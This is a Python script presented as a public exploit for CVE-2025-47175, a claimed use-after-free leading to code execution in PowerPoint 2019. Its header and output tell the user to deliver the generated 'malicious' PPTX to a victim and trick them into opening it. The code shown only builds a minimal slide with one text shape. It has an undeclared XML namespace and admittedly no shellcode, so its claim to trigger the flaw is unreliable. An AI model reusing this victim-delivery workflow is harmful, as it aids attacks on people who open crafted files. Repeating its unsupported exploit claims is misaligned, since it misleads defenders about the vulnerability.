#!/usr/bin/env python3
# Exploit Title: Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-02
# Tested on: Microsoft PowerPoint 2019 / Office 365 (version before June 2025 Patch)
# CVE: CVE-2025-47175
# Type: Use-After-Free (UAF) Remote Code Execution (local user required)
# Platform: Windows (PowerPoint)
# Author Country: Jordan
# Attack Vector: Local (User must open crafted PPTX file)
# Description:
# This exploit leverages a Use-After-Free vulnerability in Microsoft PowerPoint
# allowing an attacker to execute arbitrary code by tricking a user into opening
# a specially crafted PPTX file. This PoC generates such a malicious PPTX file
# designed to trigger the UAF condition.
#
# Steps of exploitation:
# 1. Run this script to generate the malicious PPTX file.
# 2. Send or trick the target user to open this file in a vulnerable PowerPoint version.
# 3. Exploit triggers upon opening the file, leading to possible code execution.
#
# Note: This PoC creates a simplified PPTX file structure with crafted XML designed
# to trigger the vulnerability. For a full exploit, further memory manipulation and shellcode injection
# are required (not included here).
#
# Affected Versions:
# Microsoft PowerPoint versions prior to June 2025 patch (KB5002689)
#
# Usage:
# python3 exploit_cve2025_47175.py [options]
#
# Options:
#   -o, --output   Output PPTX filename (default: exploit_cve_2025_47175.pptx)
#   -i, --id       Shape ID (default: 1234)
#   -n, --name     Shape Name (default: MaliciousShape)
#   -t, --text     Trigger text inside the slide (default: explanation message)
#
# Example:
# python3 exploit_cve2025_47175.py -o evil.pptx -i 5678 -n "BadShape" -t "Triggering CVE-2025-47175 now!"
import zipfile
import sys
import argparse

def create_exploit_pptx(filename, shape_id, shape_name, trigger_text):
    slide_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
       xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
  <p:cSld>
    <p:spTree>
      <p:sp>
        <p:nvSpPr>
          <p:cNvPr id="{shape_id}" name="{shape_name}"/>
          <p:cNvSpPr/>
          <p:nvPr/>
        </p:nvSpPr>
        <p:spPr/>
        <p:txBody>
          <a:bodyPr/>
          <a:lstStyle/>
          <a:p>
            <a:r>
              <a:t>{trigger_text}</a:t>
            </a:r>
          </a:p>
        </p:txBody>
      </p:sp>
    </p:spTree>
  </p:cSld>
</p:sld>'''

    try:
        with zipfile.ZipFile(filename, 'w') as z:
            z.writestr('[Content_Types].xml',
                '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
</Types>''')

            z.writestr('ppt/_rels/presentation.xml.rels',
                '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/>
</Relationships>''')

            z.writestr('ppt/presentation.xml',
                '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
                xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
  <p:sldIdLst>
    <p:sldId id="256" r:id="rId1"/>
  </p:sldIdLst>
  <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/>
</p:presentation>''')

            z.writestr('ppt/slides/slide1.xml', slide_xml)

        print(f"[+] Malicious PPTX file '{filename}' created successfully.")
        print("[*] Deliver this file to the victim and wait for them to open it in vulnerable PowerPoint.")
    except Exception as e:
        print(f"[-] Error: {e}", file=sys.stderr)
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description='Exploit generator for CVE-2025-47175 (PowerPoint UAF)')
    parser.add_argument('-o', '--output', type=str, default='exploit_cve_2025_47175.pptx',
                        help='Output PPTX filename (default: exploit_cve_2025_47175.pptx)')
    parser.add_argument('-i', '--id', type=int, default=1234,
                        help='Shape ID (default: 1234)')
    parser.add_argument('-n', '--name', type=str, default='MaliciousShape',
                        help='Shape Name (default: MaliciousShape)')
    parser.add_argument('-t', '--text', type=str, default='This content triggers CVE-2025-47175 UAF vulnerability.',
                        help='Trigger text inside the slide (default: explanation message)')
    args = parser.parse_args()

    create_exploit_pptx(args.output, args.id, args.name, args.text)

if __name__ == "__main__":
    main()